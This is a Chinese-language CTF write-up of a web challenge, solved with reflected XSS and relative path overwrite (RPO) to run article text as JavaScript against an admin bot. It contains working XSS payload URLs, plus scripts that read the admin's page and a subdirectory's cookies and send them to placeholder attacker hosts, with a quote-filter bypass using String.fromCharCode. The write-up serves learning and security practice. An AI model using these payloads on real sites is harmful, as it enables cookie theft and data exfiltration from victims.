RPO & share your mind

http://pupiles.com/qiangwangbei.html

好久前有文章关于 RPO,当时忘记在做什么了,反正好久没看过文章了 ... 这么快就用上了 ... 有一次教训 ...

Share your mind

这题必须要写一下自己的踩坑经历,首先进去浏览一下页面功能,有个提交bug页面的地方,还有个可以新建文章的地方
RPO & share your mind
最后就是浏览文章(但是只能浏览自己发的文章),首先想到的就是xss+csrf,新建一个文章引用一段JS然后发给bot,然后ajax请求admin的文章发回来。可是按照这个思路我们发现在新建文章页面我们的<>被过滤了,所以我们不能直接构造一个js。猜想能不能在report页面里进行xss,但是发现存在过滤,只能像自己网站的地址发起请求,但是”居然”可以绕过!!!!!!,payload:


http://39.107.33.96:20000/index.php/report/<script src="xxxxxx.com"></script>

于是无尽的踩坑之旅开始了,首先是bot返回结果没有cookie,一开始也没在意以为设置了httponly,(后来大致明白bot过程了,先check url-未读,然后add_cookie-已读,这里直接用<script>标签其实是在add_cookie之前就返回了所以不带cookie)让他AJAX请求访问admin的文章,代码如下


var a = new XMLHttpRequest();
a.open('GET', 'index.php/view/article/1', false);
a.send(null);
b = a.responseText;
(new Image()).src = 'http://xxxxx/?flag=' + escape(b);

结果bot返回结果是未登录,然后我就很懵逼,后来给了hint1:phantomjs/2.1.1结果这提示给了以后我就以为是日bot,各种谷歌找2.1.1的漏洞,一直到下午出了hint2:漏洞点不在report…推翻了一个下午的努力成果。一直到晚上我才想起来index页面有一个../static/js/bootstrap.min.js的相对路径引用
RPO & share your mind
想起来寒假时候看的rpo,关于rpo的原理这里不想赘述了,给个连接
https://open.appscan.io/article-462.html
这里文章查看页面没有引用DOCTYPE html,所以存在rpo漏洞,新建一个文章,文章title为空(title不为空的时候会添加一个<h1>标签导致浏览器解析js的时候报错
RPO & share your mind
内容输入js代码比如alert(1)
RPO & share your mind
然后访问这


http://39.107.33.96:20000/index.php/view/article/635/..%2f..%2f..%2f..%2findex.php

RPO & share your mind
把635替换成你的文章代码,这里对于服务器来说访问的是


http://39.107.33.96:20000/index.php

但是对于浏览器来说他访问的就是


http://39.107.33.96:20000/index.php/view/article/635/..%2f..%2f..%2f..%2findex.php

然后这个时候浏览器会发起js请求去请求原本index.php会加载的../static/js/bootstrap.min.js就是向


http://39.107.33.96:20000/index.php/view/article/635/..%2f..%2f..%2f..%2findex.php/../static/js/bootstrap.min.js

相当于


http://39.107.33.96:20000/index.php/view/article/635/static/bootstrap.min.js

这里访问的结果和访问


http://39.107.33.96:20000/index.php/view/article/635/

也就是你的文章的内容是一样的(不明白的可以自己本地测试),不同的是浏览器是以js引擎去解析你的文章的,也就是会把你的文章当成一段js去执行。所以这里就可以绕过<>的过滤执行xss了。
所以我们新建一个文章内容为


var a = new XMLHttpRequest();
a.open('GET', 'yourvpsip', false);
a.send(null);

然后用浏览器访问


http://39.107.33.96:20000/index.php/view/article/22957/..%2f..%2f..%2f..%2findex.php

然后这里发现居然没有发起请求,查看源码发现是过滤了"',然后我就自作聪明的用反引号,然后我就陷入了无尽的玄学道路,我发现本地浏览器,vsp就可以收到请求
RPO & share your mind
但是提交给bot就收不到请求,然后我就一直在这里卡了超级长的时间,期间还问了出题人,bot等问题…直到晚上用String.fromCharCode才解决了这个玄学问题(这个点真心卡了我好久),后面就比较简单了收到请求后发现cookie有提示

联想到国赛的一道读取子目录cookie的题目https://www.lorexxar.cn/2017/07/11/guosai2017/脚本拿来改了改就可以get子目录cookie了


var iframe = document.createElement("iframe");
iframe.src = "/QWB_f14g/QWB";
iframe.id = "frame";
document.body.appendChild(iframe);
iframe.onload = function (){
var c = document.getElementById('frame').contentWindow.document.cookie;
var n0t = document.createElement("link");
n0t.setAttribute("rel", "prefetch");
n0t.setAttribute("href", "//xxx/?" + c);
document.head.appendChild(n0t);
}

然后把所有引号之间的内容用String.fromcode()编码一下
RPO & share your mind